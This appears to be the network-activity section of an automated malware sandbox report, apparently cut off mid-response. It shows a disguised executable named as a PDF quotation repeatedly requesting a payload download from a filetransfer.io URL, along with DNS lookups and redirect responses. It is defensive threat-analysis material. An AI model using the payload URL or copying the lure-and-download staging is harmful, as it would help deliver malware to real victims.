Oct 4, 2024 11:23:41.108151913 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.108180046 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.108325958 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.108338118 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.108347893 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.153259993 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.153285027 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.153579950 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.153580904 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.153609037 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.154525995 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.154547930 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.154592037 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.154607058 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.154617071 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.155648947 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.155675888 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.155714989 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.155729055 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.155752897 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.155826092 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.155855894 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.155889988 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.155898094 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.155916929 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.156727076 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.156749964 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.156789064 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.156796932 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.156833887 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.157987118 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.158015966 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.158055067 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.158061981 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.158093929 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.158588886 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.158612013 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.158647060 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.158654928 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.158680916 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.195573092 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.195595980 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.195657969 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.195678949 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.195725918 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.241950035 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.242017031 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.242060900 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.242082119 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.242108107 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.242121935 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.242450953 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.242496967 CEST	443	49848	188.114.97.3	192.168.2.4
Oct 4, 2024 11:23:41.242527962 CEST	49848	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:23:41.242535114 CEST	443	49848	188.114.97.3	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 11:22:48.607292891 CEST	192.168.2.4	1.1.1.1	0x5684	Standard query (0)	filetransfer.io	A (IP address)	IN (0x0001)	false
Oct 4, 2024 11:22:52.180799007 CEST	192.168.2.4	1.1.1.1	0xa1c5	Standard query (0)	s23.filetransfer.io	A (IP address)	IN (0x0001)	false
Oct 4, 2024 11:25:59.373680115 CEST	192.168.2.4	1.1.1.1	0xb265	Standard query (0)	filetransfer.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 11:22:48.616909981 CEST	1.1.1.1	192.168.2.4	0x5684	No error (0)	filetransfer.io	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 4, 2024 11:22:48.616909981 CEST	1.1.1.1	192.168.2.4	0x5684	No error (0)	filetransfer.io	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 4, 2024 11:22:52.190270901 CEST	1.1.1.1	192.168.2.4	0xa1c5	No error (0)	s23.filetransfer.io	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 4, 2024 11:22:52.190270901 CEST	1.1.1.1	192.168.2.4	0xa1c5	No error (0)	s23.filetransfer.io	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 4, 2024 11:25:59.385951042 CEST	1.1.1.1	192.168.2.4	0xb265	No error (0)	filetransfer.io	188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 4, 2024 11:25:59.385951042 CEST	1.1.1.1	192.168.2.4	0xb265	No error (0)	filetransfer.io	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:22:48.658129930 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:22:49.280977964 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:22:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RodNO0mBlANdeaDAfYA3077eJSjRXFlQN2T0EbXg0YxRvDgNGec%2FM5z4tBQKJ2jNbmqapHrHaZFDriXOH1Ea0Y%2BX0Zxcr2dUjyBKQlykpjZevltkwUtFHnODjd%2FqTNEO38U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c106f508c96-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:22:54.915011883 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:22:55.760292053 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:22:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6lHQdP50PHbreiRdzcPA4QO1VRaIUAUbe6gbJqOtl4GKXUYCKQup227iujQDKjYKop8HWVFk4BUvkTz8%2FlgVCJAEOf2DRqgbeap%2BJRAZ8POD0YYXcp3Hq4LQDyhGjnhH%2FRQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c37be294276-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:22:59.144855022 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:22:59.830431938 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:22:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XnMF9JYpez4Y7TBp9PyhUo0XnKJnDHnNlX0ObYdQ6WVpUmBq0HKQGMBn2jwkVL6S16igq6QEDsvZLL7CGy8HLSxheXMridZPHIxeO4KihDjpKxyoZjLu7%2Bn4ZHrwQWFJh7k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c525c3fc337-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:03.585148096 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:04.645102978 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FAlAw4t%2Bdx5bfXJ3PvpjOVjFy4fTvZ6Oa1H7ZydpU8u4nRhn6X6R3dOk0wdyZR6S1h9TtZFXRx71%2FffY0luOCR51q%2F5LAijhS%2BLNi8sqiTzGkNA%2BCLQzEl6D%2ByznmjrVjjY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c6e2f534309-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:04.645644903 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FAlAw4t%2Bdx5bfXJ3PvpjOVjFy4fTvZ6Oa1H7ZydpU8u4nRhn6X6R3dOk0wdyZR6S1h9TtZFXRx71%2FffY0luOCR51q%2F5LAijhS%2BLNi8sqiTzGkNA%2BCLQzEl6D%2ByznmjrVjjY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c6e2f534309-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:04.683701038 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:23:05.327475071 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0xgpcquZ53S%2FegVKQoDJZmNBJuEAoAzJgmOxHRdgPc3qJSpXyYjiTn9W85G3CeWediUia%2Bt1dS4lSWtvrnuz5YgAgMQbz9g64VPbPJyXBnmXo2CJv2Kyf%2F%2FVvWHxD46hec4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c74cf1ec461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:05.329521894 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:05.523138046 CEST	861	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fPAB5P%2BGKnD9unlaTW60Jt5YYpLsFplI6HnsWoFRwhfjC51ABXfikUNxAtZuae8ppZi2XlzXte6w0v4zfcjzzDnFRL9%2BJPmWOpvWfRQRJO7GoYKi%2FhkWZlxrZYSVp6xT1L8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c76989fc461-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:05.525218964 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:05.716279984 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iREo%2BqHtD4A1ceqMtrJnSa8Oej3ibBtfINh0Y6mt4sD0Rj0Ds6gDEOPy3AIDX8W4zJNv6dkYbTqe0GKzA%2FyEOiDZT3wRPcFb5zy%2BdcKm95lavPeGK6VR55d6Z3vOXC37tcg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c77c973c461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:05.717879057 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:05.912816048 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TujwN6V7ZFUccfCK84jz2jPhhs6md34IcrlCmON8Khb4WqpDdyBqabDMbKldXiZRAg4lTvUeA8e4QvE0H5qsxW994FD5Iqo68KD1RHjN573c%2BeoSbNGBjU2SK%2FPlTKBnZzg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c790a3ec461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:05.914344072 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:06.105456114 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FFZ7C%2FYoUiYfjISXgLYl7dTu5dHMtTBS3FAxc51cq%2FPTSFDf8HizE81CHrRwSe%2BWWMXkLlm1%2BIjyDm%2BlDJlmUCdwgqBEjNPXyB1dN12Ho9bDnjQBfbsPpotInNRicYF8jYU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c7a3affc461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:06.106955051 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:06.297642946 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eOX805lo5AsJ%2Bp0BesstZvLEFDpL1moSUmlFEb6ZXkaBMnQT49xVzL0vVlxE4OHLSlBxXy2PwJN633WSpqAqNil6IRRL31Q%2BxR5j%2BApqNajFKMY7dPec6Je%2Ftb8PoMGZ690%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41c7b7bdbc461-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved 